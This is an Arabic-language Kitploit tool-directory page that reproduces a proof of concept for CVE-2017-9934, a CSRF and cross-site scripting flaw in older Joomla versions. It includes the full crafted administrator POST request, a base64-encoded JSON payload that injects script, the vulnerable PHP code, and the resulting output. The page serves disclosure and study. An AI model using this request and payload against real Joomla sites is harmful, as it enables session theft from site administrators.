Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-9934 — Joomla 1.7.3 - 3.7.2 استغلال CSRF PoC | Kitploit
أدوات/GitHubGitHub/xyringe/cve-2017-9934
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubxyringe/cve-2017-9934

CVE-2017-9934

Joomla 1.7.3 - 3.7.2 استغلال CSRF PoC

عرض المستودع
منذ 8 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2017-9934 (أنا مبلّغ هذا الاستغلال، تحت اسم: Envo)

جوملا 1.7.3 - 3.7.2 إثبات مفهوم استغلال CSRF

تعمل هذه الثغرة بسبب أن إصدارات جوملا من 1.7.3 إلى 3.7.2 لا تقوم بتنظيف مدخلات base64.

#الرؤوس:

root@kitploit:~
POST http://localhost/joomla/administrator/index.php?option=com_menus&view=item&client_id=0&layout=edit&id=0 HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 566
Cookie: 3139abcd402999f=ta0bmfak9faak44p4; joomla_user_state=logged_in; 8c7ff64bf1d0e216ccd4dd8c1e9745a3=4ebun9a72bolept9769d1tghu5; f8e2a3a5e2367dd628addf598dc92792=mc5g9gc7khdsa15jhijjaifrh1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Host: localhost

jform%5Bparams%5D%5Bmenu_show%5D=1&jform%5Bparams%5D%5Bmenu_text%5D=1&jform%5Bparams%5D%5Bsecure%5D=0&jform%5Btype%5D=eyJpZCI6MCwidGl0bGUiOiJjb21wb25lbnQiLCJyZXF1ZXN0Ijp7Im9wdGlvbiI6ImNvbV9mb288c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4ifX0%3D&jform%5Btemplate_style_id%5D=0&jform%5BbrowserNav%5D=0&jform%5Bid%5D=0&jform%5Bmenutype%5D=mainmenu&jform%5Bparent_id%5D=1&jform%5Bpublished%5D=1&jform%5Bhome%5D=0&jform%5Baccess%5D=1&jform%5Blanguage%5D=*&jform%5Btoggle_modules_assigned%5D=1&jform%5Btoggle_modules_published%5D=1&task=item.setType&fieldtype=type

المعامل 'task' في الطلب أعلاه يقوم باستدعاء دالة التحكم setType() في الملف /administrator/components/com_menus/controllers/item.php، والتي لا تتطلب رمز CSRF. هذه الدالة تأخذ مدخلات base64 في معامل آخر ('jform[type]') وتقوم بفك تشفيرها إلى بيانات JSON، دون تنظيف. إذا قمنا بصياغة JSON على النحو التالي:

#Base64:

root@kitploit:~
eyJpZCI6MCwidGl0bGUiOiJjb21wb25lbnQiLCJyZXF1ZXN0Ijp7Im9wdGlvbiI6ImNvbV9mb288c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk8L3NjcmlwdD4ifX0=

#JSON:

root@kitploit:~
{"id":0,"title":"component","request":{"option":"com_foo<script>alert(document.cookie)</script>"}}

يمكننا تشغيل خطأ في دالة load() في الملف /libraries/cms/component/helper.php. المتغير $option يحتوي على الحمولة الخاصة بنا والتي تُطبع على الشاشة دون تنظيف، مما يؤدي إلى XSS:
root@kitploit:~

if (JFactory::$language)
{
    $msg = JText::sprintf('JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING', $option, JText::_('JLIB_APPLICATION_ERROR_COMPONENT_NOT_FOUND'));
}
else
{
    $msg = sprintf('Error loading component: %1$s, %2$s', $option, 'Component not found.');
}

الناتج:

<h4 class="alert-heading">تحذير</h4>
   <div class="alert-message">خطأ في تحميل المكون: com_foo<script>alert(document.cookie)</script>، المكون غير موجود.</div>

ملف HTML التوضيحي لإثبات المفهوم موجود ضمن هذا المستودع.

تنزيل الأداة